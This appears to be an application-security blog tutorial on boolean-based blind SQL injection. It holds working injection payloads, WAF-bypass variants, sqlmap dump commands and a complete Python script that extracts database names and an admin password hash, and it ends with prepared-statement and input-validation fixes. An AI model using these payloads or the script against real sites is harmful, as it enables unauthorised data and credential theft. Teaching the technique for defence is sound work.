Boolean Based Blind SQL Injection
Thilan Dissanayaka Application Security February 12, 2020

Boolean Based Blind SQL Injection

In regular SQL injection, you can see the output. You inject a UNION SELECT, and the data shows up on the page. Easy.

But what happens when the application doesn’t show you anything? No query results. No error messages. No verbose output. Just a page that either loads normally or doesn’t. That’s blind SQL injection — and it’s far more common in real-world applications than the textbook examples.

There are two main types of blind SQLi:

  • Boolean-based — You ask true/false questions and observe the page response
  • Time-based — You use SLEEP() to infer answers from response time

In this post, we’re going deep into boolean-based blind SQL injection — how it works, how to extract data character by character, and how to automate the entire process.

The Setup — A Vulnerable Product Page

Imagine a product page with a URL like:

http://victim.com/product.php?id=5

And here’s the backend PHP code:

<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    $row = mysqli_fetch_assoc($result);
    echo "Product Name: " . $row['name'];
    echo "Price: $" . $row['price'];
} else {
    echo "No product found.";
}
?>

Two things to notice:

  1. User input is directly concatenated into the SQL query — classic injection vulnerability
  2. The page only has two states — either it shows the product, or it says “No product found”

There are no SQL error messages. No raw query output. No UNION SELECT results displayed. The application is vulnerable, but it’s blind.

Confirming the Injection

Before extracting data, we need to confirm that injection is possible and that we can control the query’s boolean outcome.

True Condition

http://victim.com/product.php?id=5' AND 1=1 --

The resulting SQL:

SELECT * FROM products WHERE id = '5' AND 1=1 -- '

1=1 is always true, so the WHERE clause is effectively unchanged. The product page loads normally.

False Condition

http://victim.com/product.php?id=5' AND 1=2 --

The resulting SQL:

SELECT * FROM products WHERE id = '5' AND 1=2 -- '

1=2 is always false. The AND makes the entire WHERE clause false, so no rows are returned. The page shows “No product found.”

We now have two distinct responses:

Injected Condition Result Page Behavior
AND 1=1 (true) Query returns rows Product is displayed
AND 1=2 (false) Query returns nothing “No product found”

This is our oracle. We can ask the database any yes/no question, and the page tells us the answer. That’s all we need.

Extracting Data — Character by Character

Here’s where it gets interesting. We can’t see query output directly, but we can ask: “Is the first character of the database name equal to ‘a’?” If the page loads normally — yes. If it shows “No product found” — no. Then we try ‘b’, ‘c’, and so on.

Step 1: Find the Database Name Length

Before guessing characters, let’s figure out how many characters we’re dealing with:

http://victim.com/product.php?id=5' AND LENGTH(database())=1 --

Page shows “No product found.” Length is not 1.

http://victim.com/product.php?id=5' AND LENGTH(database())=2 --

Still “No product found.” Not 2 either.

We keep going:

http://victim.com/product.php?id=5' AND LENGTH(database())=5 --

The product page loads normally. The database name is 5 characters long.

Step 2: Extract the Database Name

Now we extract each character using SUBSTRING():

SUBSTRING(database(), position, length)

First character:

?id=5' AND SUBSTRING(database(),1,1)='a' --    → No product found
?id=5' AND SUBSTRING(database(),1,1)='b' --    → No product found
?id=5' AND SUBSTRING(database(),1,1)='c' --    → No product found
...
?id=5' AND SUBSTRING(database(),1,1)='s' --    → Product loads! ✓

First character is s.

Second character:

?id=5' AND SUBSTRING(database(),2,1)='a' --    → No product found
...
?id=5' AND SUBSTRING(database(),2,1)='h' --    → Product loads! ✓

Second character is h.

We continue for all 5 positions and get: shop1. That’s our database name.

Speeding It Up with ASCII

Instead of guessing every printable character, we can use ASCII() and binary search. ASCII values for lowercase letters range from 97 (a) to 122 (z). Numbers are 48–57. We can use comparison operators to narrow it down fast:

-- Is the ASCII value of the first character greater than 109 ('m')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 109 --    → Product loads (true)

-- Greater than 115 ('s')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 115 --    → No product found (false)

-- Greater than 114 ('r')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 114 --    → Product loads (true)

-- So it's between 115 and 115... it's 115, which is 's'
?id=5' AND ASCII(SUBSTRING(database(),1,1)) = 115 --    → Product loads! ✓

With binary search, we find each character in at most 7 requests instead of potentially 36+ (letters + numbers). For a 5-character database name, that’s ~35 requests instead of ~180. At scale, this difference is massive.

A Complete Extraction — From Database to Data

Let’s walk through the full attack chain — extracting the database name, table names, column names, and finally the actual data.

Extracting Table Names

MySQL’s information_schema database stores metadata about all databases, tables, and columns. We can query it through our injection.

How many tables are in the database?

?id=5' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='shop1')=3 --

If the page loads, there are 3 tables.

First character of the first table name:

?id=5' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='shop1' LIMIT 0,1),1,1)='u' --

Product loads — first table starts with ‘u’.

We continue extracting character by character. Eventually we find the tables: users, products, orders.

Extracting Column Names

Now let’s find the columns in the users table:

?id=5' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='shop1' AND table_name='users' LIMIT 0,1),1,1)='i' --

We extract character by character and find columns: id, username, password, email.

Extracting Actual Data

Now the payload — dump the admin’s password:

-- How long is the first user's password?
?id=5' AND LENGTH((SELECT password FROM users LIMIT 0,1))=32 --    → Product loads!

32 characters — looks like an MD5 hash. Let’s extract it:

?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='5' --    → Product loads!
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),2,1)='f' --    → Product loads!
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),3,1)='4' --    → Product loads!
...

32 characters, ~7 requests each with binary search = ~224 requests to extract a full password hash. An automated script runs through that in seconds.

Building a Simple Extraction Script

Let’s see what this looks like automated. Here’s a Python script that extracts data using boolean-based blind SQLi:

import requests

TARGET = "http://victim.com/product.php"
TRUE_INDICATOR = "Product Name:"  # Text that appears when condition is true

def inject(payload):
    """Send a request with the injected payload and check if condition is true."""
    url = f"{TARGET}?id=5' AND {payload} -- "
    response = requests.get(url)
    return TRUE_INDICATOR in response.text

def extract_string(query, max_length=50):
    """Extract a string from the database character by character."""
    result = ""

    # First, find the length
    length = 0
    for i in range(1, max_length + 1):
        if inject(f"LENGTH(({query}))={i}"):
            length = i
            break

    if length == 0:
        return None

    # Extract each character using binary search
    for pos in range(1, length + 1):
        low, high = 32, 126  # Printable ASCII range

        while low < high:
            mid = (low + high) // 2
            if inject(f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"):
                low = mid + 1
            else:
                high = mid

        result += chr(low)
        print(f"[*] Extracted so far: {result}")

    return result


# Extract database name
print("[+] Extracting database name...")
db_name = extract_string("SELECT database()")
print(f"[+] Database: {db_name}")

# Extract first table name
print("[+] Extracting first table name...")
table = extract_string(
    f"SELECT table_name FROM information_schema.tables "
    f"WHERE table_schema='{db_name}' LIMIT 0,1"
)
print(f"[+] First table: {table}")

# Extract admin password
print("[+] Extracting admin password...")
password = extract_string(
    "SELECT password FROM users WHERE username='admin' LIMIT 0,1"
)
print(f"[+] Admin password hash: {password}")

Running this produces output like:

[+] Extracting database name...
[*] Extracted so far: s
[*] Extracted so far: sh
[*] Extracted so far: sho
[*] Extracted so far: shop
[*] Extracted so far: shop1
[+] Database: shop1

[+] Extracting first table name...
[*] Extracted so far: u
[*] Extracted so far: us
[*] Extracted so far: use
[*] Extracted so far: user
[*] Extracted so far: users
[+] First table: users

[+] Extracting admin password...
[*] Extracted so far: 5
[*] Extracted so far: 5f
[*] Extracted so far: 5f4
...
[+] Admin password hash: 5f4dcc3b5aa765d61d8327deb882cf99

Each character takes about 7 HTTP requests (binary search over ~95 printable ASCII values). The entire database name extraction takes ~35 requests. A password hash takes ~224 requests. The script runs through all of this in seconds.

Using sqlmap for Boolean-Based Blind SQLi

You don’t always need a custom script. sqlmap handles blind injection beautifully:

# Detect and exploit the injection point
$ sqlmap -u "http://victim.com/product.php?id=5" --technique=B --dbs

# The --technique=B flag tells sqlmap to use boolean-based blind only
# Output:
# [*] available databases [3]:
# [*] information_schema
# [*] mysql
# [*] shop1

# Enumerate tables
$ sqlmap -u "http://victim.com/product.php?id=5" -D shop1 --tables

# Dump the users table
$ sqlmap -u "http://victim.com/product.php?id=5" -D shop1 -T users --dump

sqlmap automatically detects the true/false indicators, optimizes its extraction with binary search, handles encoding, and can even bypass WAFs. Under the hood, it’s doing exactly what our Python script does — just much more robustly.

Real-World Complications

The examples above are clean and straightforward. Real-world applications throw curveballs.

The Response Isn’t Binary

Sometimes the difference between true and false isn’t as clear as “product displayed” vs “no product found.” The page might:

  • Show the same content but with a slightly different length
  • Return the same HTML but with different headers
  • Redirect to different pages
  • Show different CSS classes or error codes

You need to identify a reliable indicator — something that consistently differs between true and false responses. It might be a specific string, the response length, the HTTP status code, or even a particular HTML element.

WAF Blocking Your Payloads

Web Application Firewalls might block requests containing keywords like AND, SUBSTRING, SELECT, or comment markers. Common bypasses:

-- Replacing spaces with comments
?id=5'/**/AND/**/1=1/**/--

-- Using alternative syntax
?id=5' AND MID(database(),1,1)='s' --        -- MID() instead of SUBSTRING()
?id=5' AND ORD(MID(database(),1,1))>109 --   -- ORD() instead of ASCII()

-- Case manipulation
?id=5' AnD 1=1 --

-- URL encoding
?id=5'%20AND%201%3D1%20--%20

-- Double URL encoding (if the app decodes twice)
?id=5'%2520AND%25201%253D1%2520--%2520

Numeric Injection Points

Not all injection points are in string contexts. If the parameter is numeric:

-- No quotes needed
?id=5 AND 1=1 --
?id=5 AND ASCII(SUBSTRING(database(),1,1))>109 --

Notice there’s no ' before AND. The id value is used directly as a number in the query, so you don’t need to close a string first.

Filtered Characters

If the application filters specific characters:

-- Single quotes filtered? Use hex encoding
?id=5' AND SUBSTRING(database(),1,1)=0x73 --    -- 0x73 = 's'

-- Commas filtered? Use FROM...FOR syntax
?id=5' AND SUBSTRING(database() FROM 1 FOR 1)='s' --

-- Spaces filtered? Use tabs, newlines, or comments
?id=5'%09AND%091=1%09--    -- %09 is a tab character

Boolean-Based Blind SQLi on Different Databases

The core concept is the same, but the syntax varies across database systems.

MySQL

-- String extraction
SUBSTRING(string, pos, len)
MID(string, pos, len)

-- ASCII value
ASCII(char)
ORD(char)

-- Conditional
IF(condition, true_value, false_value)

PostgreSQL

-- String extraction
SUBSTRING(string FROM pos FOR len)

-- ASCII value
ASCII(char)

-- Conditional
CASE WHEN condition THEN true_value ELSE false_value END

Microsoft SQL Server

-- String extraction
SUBSTRING(string, pos, len)

-- ASCII value
ASCII(char)

-- Conditional
IIF(condition, true_value, false_value)     -- SQL Server 2012+
CASE WHEN condition THEN 1 ELSE 0 END

SQLite

-- String extraction
SUBSTR(string, pos, len)

-- ASCII value (SQLite doesn't have ASCII(), use unicode())
UNICODE(char)

-- Conditional
CASE WHEN condition THEN 1 ELSE 0 END

Prevention

Boolean-based blind SQLi is exploited differently than regular SQLi, but the prevention is exactly the same.

Prepared Statements

<?php
// Vulnerable
$query = "SELECT * FROM products WHERE id = '$id'";

// Fixed — parameterized query
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);
$product = $stmt->fetch();
?>

With a prepared statement, the database knows that $id is a value, not SQL code. Even if the attacker sends 5' AND 1=1 --, it’s treated as a literal string — the database looks for a product with that exact ID and finds nothing. No injection.

Input Validation

For a product ID that should always be a number:

$id = intval($_GET['id']);  // Forces integer — no injection possible

If the value should be numeric, cast it. Don’t just filter characters. intval("5' AND 1=1 --") returns 5. Problem solved.

Least Privilege

Even if blind SQLi gets through, limit the damage:

  • The application’s database user shouldn’t have access to information_schema if it doesn’t need it
  • Use read-only accounts for pages that only display data
  • Restrict access to other databases on the same server

Final Thoughts

Boolean-based blind SQL injection is slower and more tedious than regular SQLi, but it’s just as dangerous. The attacker can extract everything — database names, table schemas, user credentials, personal data — it just takes more requests. And with binary search optimization and automation tools like sqlmap, “more requests” means seconds or minutes, not hours.

The key insight is this: any observable difference in the application’s behavior can become an information channel. A different page, a different word, a different response length — that’s enough to extract an entire database, one bit at a time.

The fix hasn’t changed since the 1990s: use prepared statements. Separate your data from your code. It’s that simple.

Stay curious, keep testing.

ALSO READ
Blockchain 0x000 – Understanding the Fundamentals
May 21, 2020 Web3 Development

Imagine a world where strangers can exchange money, share data, or execute agreements without ever needing to trust a central authority. No banks, no intermediaries, no single point of failure yet...

Identity and Access Management (IAM)
May 11, 2020 Identity & Access Management

Who are you — and what are you allowed to do? That's the fundamental question every secure system must answer. And it's exactly what Identity and Access Management (IAM) is built to solve.

How I built a web based CPU Simulator
May 07, 2020 Pet Projects

As someone passionate about computer engineering, reverse engineering, and system internals, I've always been fascinated by what happens "under the hood" of a computer. This curiosity led me to...

Writing a Shell Code for Linux
Apr 21, 2020 Exploit Development

Shellcode is a small piece of machine code used as the payload in exploit development. In this post, we write Linux shellcode from scratch — starting with a simple exit, building up to spawning a shell, and explaining every decision along the way.

Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Access Control Models
Apr 08, 2020 Identity & Access Management

Access control is one of the most fundamental concepts in security. Every time you set file permissions, assign user roles, or restrict access to a resource, you're implementing some form of access control. But not all access control is created equal...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Common Web Application Attacks
Feb 05, 2020 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these...

Remote Code Execution (RCE)
Jan 02, 2020 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.